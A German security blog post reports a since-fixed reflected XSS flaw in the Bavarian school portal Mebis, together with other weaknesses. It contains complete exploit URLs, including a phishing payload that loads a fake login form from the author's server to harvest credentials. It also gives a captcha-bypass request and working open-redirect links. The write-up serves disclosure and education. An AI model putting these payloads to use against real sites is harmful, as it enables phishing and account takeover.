Nachdem in den Medien von diversen Sicherheitslücken im Internetportal Mebis berichtet wurde, habe ich mich selbst mal etwas mit der Plattform beschäftigt. In diesem Blogbeitrag möchte ich von einer weiteren, bereits behobenen Cross-Site-Scripting-Sicherheitslücke berichten und auf ein paar technische Misstände eingehen. Zuvor lohnt es sich aber einen Blick auf den Blog von 0x90.space zu werfen. Diese haben bereits einige andere Sicherheitslücken in Mebis aufgedeckt.
Was ist Mebis?
Mebis (Abkürzung für Medien, Bildung, Service; Eigenschreibweise mebis) ist ein Internetportal des bayerischen Kultusministeriums. Es hat zum Jahresbeginn 2017 die Pilotphase verlassen und steht neben den staatlichen bayerischen Schulen seit 2017 auch allen kommunalen und privaten Schulen in Bayern zur Verfügung. 2020 nutzten über eine Million User mebis.
Quelle: https://de.wikipedia.org/wiki/Mebis
Eine technologische Mischung
Mebis verwendet im Backend PHP und JavaServer Pages. An manchen stellen dient ein Apache-Webserver und manchen Stellen ein Apache Tomcat. Das Frontend nutzt zumindest in den öffentlich zugänglichen Bereichen keine nennenswerten Frameworks.
Let’s inspect
Da ich keinen Account auf dieser Plattform besitze, war es mir nur möglich, die öffentlichen Bereiche genauer unter die Lupe zu nehmen. Zu meiner Verwunderung wurde ich auch hier recht schnell fündig. Kommen wir also zur Sache 🙂
Disclaimer: Die nachfolgenden Inhalte sind sehr technisch.
Das Prüfungsarchiv
Unter https://mediathek.mebis.bayern.de/archiv.php bietet Mebis die Möglichkeit, diverse Prüfungen der letzten Jahre abzurufen.
Wie man sieht, gibt es drei DropDown-Menüs. Nach Klick auf “Prüfungen anzeigen”, werden die ausgewählten Werte in die URL übernommen. Oder besser gesagt: Das Attribut value
der ausgewählten Option wird jeweils als URL-Parameter gesetzt. Mit der oben gezeigten Auswahl, ergibt sich dann bspw. folgende URL:
https://mediathek.mebis.bayern.de/archiv.php?doc=result&test_type=examination&educational_grade=MSA_RS&subject=Physik
Ein Blick in den Quelltext der Seite offenbart, dass alle URL-Parameter an diversen Stellen im Quellcode der Seite reflektiert werden. Unter anderem in Form von JavaScript-Variablen.
Das ist erstmal nicht tragisch, sofern die Zeichenketten korrekt kodiert werden und somit ein Ausbruch aus dem Stringliteral verhindert wird. Um zu prüfen, ob dies hier der Fall ist, reicht das modifizieren eines Parameters mit einem einfachen Anführungszeichen ('
). Natürlich würde ich davon nicht berichten, wenn man es richtig gemacht hätte 🙂
Was wir nun also wissen: Mit einem einfachen Anführungszeichen kann man aus dem Stringliteral ausbrechen und die JavaScript-Syntax durcheinanderbringen. Aber reicht das für Cross-Site-Scripting (XSS)?
Einfach wäre langweilig
Normalerweise ist es ab hier nur noch ein kurzer Weg, bis man ein einfaches alert(0)
ausführen kann. Das Ganze stellte sich dann aber als etwas “schwieriger” heraus. Scheinbar hatte man doch dran gedacht, die Strings zu kodieren. Jedoch nicht so, wie man es hätte tun sollen. Diverse Sonderzeichen werden mit der numerischen Unicode-Notation im Dezimal-Format kodiert. Aus ;
wird dann ;
, aus <
wird <
usw…
Es galt nun als herauszufinden, welche Sonderzeichen neben '
ebenfalls nicht kodiert werden und wie sich daraus eine funktionierende Payload (Schadcode) gestalten lässt. Die nachfolgenden Payloads wurden alle zuvor URL-Encoded. Dies ist notwendig, da z. B. ein +
vom Server als Leerzeichen interpretiert wird. Um ein +
im Quelltext der Seite zu erhalten, muss stattdessen ein %2B
verwendet werden.
Der nicht so einfache Weg zum alert()
Der erste Versuch:'+alert(0)+'
Man kann also keine Klammern verwenden 🙁 Aber es gibt Alternativen!
“grave accent” anstelle Klammer: '+alert`0`+'
…wird leider auch kodiert. Als nächstes verzichtete ich auf Funktionsaufrufe und versuchte ein (open) Redirect durch das Setzen von document.location
zu erzeugen.
' + document.location='bla
…führte zu Problemen bei der Interpretation:
Die Verwendung eines Semikolons zur Beendigung der Wertzuweisung war aufgrund der Kodierung auch keine Option:
'; document.location='bla
Es muss nicht immer ein Semikolon sein!
Denn wie es stattdessen funktioniert, zeigt Mebis bereits im eigenen JavaScript Code:
Wie man sieht, ist am Ende der Wertzuweisung kein Semikolon, gefolgt von einem Funktionsaufruf. Das funktioniert, denn offziell heißt es:
Ein Semikolon ist nicht nötig, wenn jedes Statement in einer neuen Zeile ist.
Quelle: https://developer.mozilla.org/de/docs/Web/JavaScript/Guide/Grammatik_und_Typen
Der nächste Versuch enthielt somit einen Zeilenumbruch. Dieser kann per %0A
in der URL erzielt werden.
blub'
document.location='testurl
Ein Open-Redirect war entstanden
Bei Aufruf der URL wurde der JavaScript-Code korrekt interpretiert und eine Weiterleitung auf /testurl
erfolgte.
Es ist kein Geheimnis, dass man per javascript:alert(0)
auch JavaScript über die Navigation ausführen kann, aber würde das auch hier funktionieren?
blub'
document.location='javascript:alert(0)
Leider wurden auch hier wieder die Klammern des Funktionsaufrufs kodiert. Das sollte nun aber kein Problem mehr darstellen, da das Prozentzeichen (%) nicht kodiert wird.
Mit “Double Encoding” zum Erfolg.
Alles was nach javascript:
steht, entspricht im Grunde einer URL und kann somit URL-encoded werden. Aus alert(0)
wird dann alert%280%29
.
blub'
document.location='javascript:alert%280%29
Bingo!
Das alert(0)
wird nun beim Aufruf des Links erfolgreich ausgeführt.
Wie gefährlich sind Cross-Site-Scripting-Lücken?
Cross-Site-Scripting-Lücken (XSS) erlauben die Ausführung von JavaScript im Kontext der Webseite. Bei der hier genannten Schwachstelle handelt es sich um eine Reflected-Cross-Site-Scripting-Lücke. Die Schwachstelle kann durch das Aufrufen eines manipulierten Links ausgenutzt werden. Dabei kann der Inhalt der Webseite von einem Angreifer kontrolliert werden, was z. B. das Anzeigen eines gefälschten Login-Dialogs ermöglicht (Phishing). Des weiteren können nahezu alle Informationen der Website ausgelesen und zum Angreifer übertragen werden. Auch wenn die Webseite die zur Authentifizierung relevanten Cookies durch “httponly”-Flags schützt, kann dennoch eine Kommunikation mit dem Server bzw. der API durch das Absetzen von HTTP-Requests erfolgen. Diese HTTP-Request werden im Kontext des eingeloggten Benutzers ausgeführt und ermöglichen somit den Zugriff auf sensible Benutzerdaten. Es können zudem Aktionen im Namen des eingeloggten Benutzers ausgeführt werden. Ein klassisches Beispiel ist hier das Senden von Nachrichten zur wurmartigen Verbreitung der manipulierten Links oder das Editieren der hinterlegten E-Mail-Adresse, was wiederum zur Übernahme das Accounts seitens des Angreifers ausgenutzt werden kann.
Soviel zur generellen Gefahr einer Cross-Site-Scripting-Lücke.
Gefährlichkeit in Bezug auf Mebis
In wie fern die generellen Möglichkeiten einer XSS-Lücke im konkreten Beispiel von Mebis ausnutzbar sind, kann ich nicht vollständig beantworten. Dazu wäre ein Account notwendig, welchen ich nicht besitze.
Was jedoch feststeht: Der Seiteninhalt lässt sich vollständig manipulieren.
Herstellung eines Proof of Concept (PoC) – Eine “Machbarkeitsstudie”
Um den Betreiber der Lernplattform effektiv über die Lücke informieren zu können, entschied ich mich einen Proof of Concept herzustellen. Dieser Proof of Concept sollte die Machbarkeit eines Angriffs beweisen. Dass es noch zu einer ungewöhnlichen Überraschung kommt, ahnte ich zu dem Zeitpunkt noch nicht.
Let’s bastel another Payload
Mein erstes Ziel bestand aus dem Auslesen der Cookies. Unter https://mediathek.mebis.bayern.de/ gibt es nur ein Cookie mit dem Namen PHPSESSID
. Ob dieses Cookie zur Authentifizierung relevant ist, weiß ich nicht. Laut Aussage von 0x90.space ist Session-Hijacking aufgrund von “httponly”-Flags nicht möglich.
JavaScript zur Ausgabe der Cookies:
alert("Hallo Mebis-User, hier sind deine Kekse: " + document.cookie)
Payload:
blub'
document.location='javascript:alert%28%22Hallo%20Mebis-User%2C%20hier%20sind%20deine%20Kekse%3A%20%22%20%2B%20document.cookie%29
Vollständige URL samt Payload:
https://mediathek.mebis.bayern.de/archiv.php?doc=result&test_type=examination&educational_grade=MSA_RS&subject=blub%27%0Adocument.location%3D%27javascript%3Aalert%2528%2522Hallo%2520Mebis-User%252C%2520hier%2520sind%2520deine%2520Kekse%253A%2520%2522%2520%252B%2520document.cookie%2529
Nun zur Überraschung: Die Payload, welche über die URL in die Webseite eingeschleust wird, kommt nicht nur beim Aufrufen des Links zur Ausführung, sondern bei jedem weiteren Aufruf des Prüfungsarchivs. Grund hierfür ist die Zwischenspeicherung der DropDown-Auswahl in der Session. Die Session ist scheinbar mehrere Stunden bis Tage gültig. Wir haben nun mehr oder weniger eine “partial stored XSS” 🙂
PoC #1
Let’s Phish
Nun noch ein vollständiger Phishing-PoC mit einer etwas umfangreicheren Payload.
Zunächst der JavaScript-Teil:
document.write("");$.get("//zerody.one/stuff/pocs/mebisloginpoc.php",function(r){document.write(r)});
Dieser leert zunächst die Webseite, so dass für kurze Zeit eine weiße Seite sichtbar ist. Als nächstes wird ein modifizierter Login-Dialog von meinem Server nachgeladen und in die Webseite injiziert. Rein optisch gleicht dieser dem original Login-Screen, mit dem einzigen Unterschied, dass die eingegebenen Logindaten nicht bei Mebis sondern auf meinem Server landen. Des weiteren wird noch die URL von /archiv.php?doc=result&...
auf /idp/profile/SAML2/Redirect/SSO;jsessionid=0B6031A29C140D7D8D8437790A8108A2?execution=e1s1"
via pushState
geändert, um eine täuschend echt aussehende Umgebung zu erzielen. Dies sowie die Logik zum Abgreifen der Logindaten wird über den nachgeladenen Inhalt bereitgestellt.
Nachdem die Logindaten auf meinen Server eingetroffen sind, erfolgt eine Weiterleitung auf das Infoportal, welches auch ohne Login aufrufbar wäre. Das Opfer würde den Phishing-Versuch höchstwahrscheinlich gar nicht bemerken. Zudem füllt der Browser die Felder “Benutzername” und “Passwort” je nach Einstellung automatisch aus, sofern diese im Browser gespeichert sind.
Die vollständige Payload:
'
document.location='javascript:document.write%28%22%22%29%3B%24.get%28%22%2F%2Fzerody.one%2Fstuff%2Fpocs%2Fmebisloginpoc.php%22%2Cfunction%28r%29%7Bdocument.write%28r%29%7D%29%3B
Die vollständige URL:
https://mediathek.mebis.bayern.de/archiv.php?doc=result&test_type=examination&educational_grade=MSA_RS&subject=%27%0Adocument.location%3D%27javascript%3Adocument.write%2528%2522%2522%2529%253B%2524.get%2528%2522%252F%252Fzerody.one%252Fstuff%252Fpocs%252Fmebisloginpoc.php%2522%252Cfunction%2528r%2529%257Bdocument.write%2528r%2529%257D%2529%253B
PoC #2
Auch hier wird der Nutzer bei jedem weiteren Aufruf des Prüfungsarchivs nach den Logindaten gefragt, welche dann beim Angreifer landen. Diese “Zwischenspeicherung” des Schadcodes gestaltet sich hier als besonders Problematisch, da das Opfer zwangsläufig nicht mal einen präparierten Link zu Mebis anklicken muss. Jede beliebige Webseite könnte bspw. in einem iFrame
den Schadcode unbemerkt ausführen und in die Session des Nutzers einschleusen, welcher dann auch beim nächsten Aufruf des Prüfungsarchivs ausgeführt wird. Dies ist unter anderem aufgrund einer fehlenden X-Frame-Options
-Regel möglich.
Weitere technische Misstände
Neben der XSS-Lücke war ich generell etwas erstaunt, an wie vielen Stellen grundlegende Dinge einfach vergessen wurden. So sind bspw. an diversen Stellen die “Directory Listings” des Webservers aktiviert und Ajax-Endpunkte ohne Authentifizierung zugänglich.
1 Screenshot, 3 Misstände
Fragwürdige CORS-Konfiguration
access-control-allow-origin: *
erlaubt jeder Webseite Informationen von Mebis abzurufen. Warum dies erforderlich ist, bleibt offen.
Content-Type text/html
für JSON-Inhalte
Dies kann unter Umständen Stored-XSS-Angriffe ermöglichen, da der Browser bei direktem Aufruf der JSON-Enpunkte versucht, den Inhalt als HTML zu interpretieren. Der korrekte Content-Type wäre application/json
.
Apache-Webserver in der Version 2.4.18
Laut der Release-History stammt Apache 2.4.18 aus dem Jahr 2015. Laut cvedetails.com gibt es in dieser Version 26 Sicherheitslücken (stand 24.08.2020). Auch der Server unter lernplattform.mebis.bayern.de
läuft scheinbar unter dieser Version.
Fehlende HTTP-Response-Header
Dies sind alle Response-Header die der Server unter der Login-Seite idp.mebis.bayern.de zurückgibt.
- Es fehlt ein
X-Frame-Options
-Header um die Einbettung in iFrames zu verhindern um somit vor Clickjacking zu schützen. - Es fehlt ein
Strict-Transport-Security
-Header um vor HTTP-Downgrade-Angriffen zu schützen.
Und es fehlt eine Content-Security-Policy
(CSP), welche unter anderem auch vor XSS-Angriffen schützen kann.
Fehlerhafte Captcha-Validierung
Unter anderem zum Anfordern eines Passwort-Reset-Links ist sinnvollerweise das Lösen eines Captchas erforderlich. Leider wurde die Überprüfung des eingegebene Codes fehlerhaft implementiert, so dass sich die Captcha-Abfrage komplett umgehen lässt.
Beim Aufruf des “Passwort vergessen”-Formulars wird ein Captcha in Form einer PNG-Datei geladen. Beim Absenden des Formulars wird der eingegebene Code samt einer MD5-Prüfsumme der geladenen Grafik an das Backend übermittelt. Anhand der beiden Informationen kann die Korrektheit des eingegebenen Codes überprüft werden. Da diese Art der Überprüfung anfällig für Replay-Angriffe ist, speichert man beim Aufruf des Formulars das generierte Captcha in der Benutzer-Session. Dadurch kann die Integrität beim Absenden des Formulars gewährleistet werden. Oder auch nicht.
Auszug aus dem POST-Request beim Absenden des “Passwort vergessen”-Formulars:
POST /selfservice/ldapportal.pl?mode=sendpwresetlink HTTP/1.1 Host: idm.mebis.bayern.de Cookie: CGISESSID=a5b2e3c61b208ea962f8bf53ec6edc88 ------WebKitFormBoundaryA9AquLNUOkA6Wzi7 Content-Disposition: form-data; name="mail" maxmustermann@gmail.com ------WebKitFormBoundaryA9AquLNUOkA6Wzi7 Content-Disposition: form-data; name="captcha" x ------WebKitFormBoundaryA9AquLNUOkA6Wzi7 Content-Disposition: form-data; name="captchamd5sum" 89a150ffd04d6bb9a1e395125f78a4a6
In dem Fall lautet der eingegebene Captcha-Code “x” und ist somit falsch. Auch die Webseite gibts aus Captcha-Fehler: Falscher Captcha-Code
.
Wenn man nun das Cookie CGISESSID
entfernt, verliert die Anwendung ihr Gedächtnis an den zuletzt generierten Code. Somit wäre eine korrekte Validierung des Codes ohnehin nicht mehr möglich. Anstelle einer Fehlermeldung, überspringt die Webanwendung nun die komplette Captcha-Validierung und führt die eigentliche Aktion aus.
Sofern diese Art der Captcha-Umgehung auch bei der Eingabe von low complexity codes wie bspw. numerische Bestätigungscodes anwendbar ist, wären Brute-Force-Angriffe denkbar.
Open-Redirects wurden nicht korrekt behoben
Die Jungs von 0x90.space haben eine lange Liste von Open-Redirects erstellt. Diese gelten als behoben. Oder?
- Aus
Logout
machLogin
- Aus
return
machtarget
https://www.mebis.bayern.de/info-shib/Shibboleth.sso/Login?isPassive=true&target=https://google.com https://lernplattform.mebis.bayern.de/Shibboleth.sso/Login?isPassive=true&target=https://google.com https://idm.mebis.bayern.de/idm/Shibboleth.sso/Login?isPassive=true&target=https://google.com https://mk-navi.mebis.bayern.de/mk-navi/Shibboleth.sso/Login?isPassive=true&target=https://google.com https://tafel.mebis.bayern.de/tafel/Shibboleth.sso/Login?isPassive=true&target=https://google.com https://lernplattform.mebis.bayern.de/Shibboleth.sso/Login?isPassive=true&target=https://google.com
Ein kurzer Blick in die Shibboleth-Dokumentation reicht, um das Problem durch das setzen von Konfigurationsparametern global zu beseitigen. Dort gibt es die Einstellung redirectLimit
und redirectWhitelist
.
Prevents the injection of redirect locations after login or logout that don’t meet specific criteria, to prevent misusing the SP to carry out phishing attacks.
“none” is the default and does no limiting.
https://wiki.shibboleth.net/confluence/display/SP3/Sessions
Das ist einfach nur peinlich!
Meldung der XSS-Sicherheitslücke
Nachdem Mebis bereits eindrucksvoll bewiesen hat, wie man nicht mit derartigen Meldungen umgehen sollte, erhoffte ich mir eine etwas schnellere Reaktion. Tatsächlich konnte man die Lücke in einem angemessenen Zeitraum schließen.
Timeline
- 24.08.2020: Meldung der XSS-Lücke an die im Impressum hinterlegte E-Mail-Adresse.
- 25.08.2020: Meldung der XSS-Lücke an den Mebis-Support.
- 25.08.2020: Mebis-Support leitet die Meldung an die zuständige Abteilung.
- 25.08.2020: Zuständige Abteilung leitet die Meldung an den Dienstleister weiter und verspricht eine umgehende Behebung der Schwachstelle.
- 02.09.2020: XSS-Lücke wird behoben.
Der Fix
Mich interessiert ja immer sehr, wie Sicherheitslücken behoben werden. Da bekannt ist, welche Programmiersprache bzw. welche Skriptsprache verwendet wird, kann man sich einen möglichen Fix recht schnell ausdenken.
Vor dem Fix wurde wahrscheinlich die PHP-Funktion mb_encode_numericentity()
verwendet. Diese benötigt unter anderem eine Angabe, welche Zeichen kodiert werden sollen. Das einfache Anführungszeichen ('
), welches hier zum Ausbruch aus dem Stringliteral geführt hat, wurde scheinbar missachtet.
Ein möglicher Fix wäre bspw. die Verwendung der PHP-Funktion json_encode()
. Diese Funktion ist speziell zur Generierung von JavaScript- bzw. JSON-Objekten gedacht. Eine Zuweisung von Variablen kann so unbedenklich erfolgen. Beispiel-Code:
<script>
var subject = <?php echo json_encode((string) $_GET["subject"]) ?>;
</script>
Sofern die Variable später auf unsichere Art und Weise (Stichwort innerHTML
) ins DOM geschrieben wird, wäre die zusätzliche Verwendung von htmlentities()
erforderlich.
Nach dem Fix wurde weiterhin auf die bestehende Funktion zur Umwandlung von Sonderzeichen in HTML-Entities (Dezimal-Format) gesetzt, mit dem einzigen Unterschied, dass nun auch einfache Anführungszeichen ('
) in '
umgewandelt werden. Leider werden Zeilenumbrüche weiterhin unkodiert im Quelltext reflektiert, wodurch ein Ausbruch aus dem Stringliteral weiterhin möglich ist.
Da es dadurch allerdings zu einem Syntaxfehler kommt, ist die ungehinderte Ausführung von JavaScript-Code wohl nicht mehr möglich. Viel mehr wird durch die fehlerhafte JavaScript-Syntax die ganze Seite unbrauchbar. Natürlich solange bis man eine neue Session erhält 🙂
Zudem werden nun die Parameter nicht mehr per GET
-Anfrage sondern als POST
übertragen. Es gibt in dieser POST
-Anfrage sogar einen CSRF-Token. Leider wird dieser nicht validiert.
Welch ein hervorragender Fix!
Fazit
Obwohl ich mir nur den öffentlich zugänglichen Teil der Webseite angeschaut habe, werde ich das Gefühl nicht los, dass in dieser Plattform noch unzählige weitere Lücken schlummern. Vielleicht wäre es mal angebracht, einen umfangreichen, unabhängigen und professionellen Penetrationstest durchzuführen. Sofern dabei kein wirtschaftlicher Totalschaden festgestellt wird, könnte man die Fehler vielleicht auch noch durch Nachbesserungen beheben. Positiv anzumerken ist nun allerdings, dass man bemüht ist, die Schwachstellen zu beheben.
Auf jeden Fall war die XSS-Lücke eine spannende Challenge!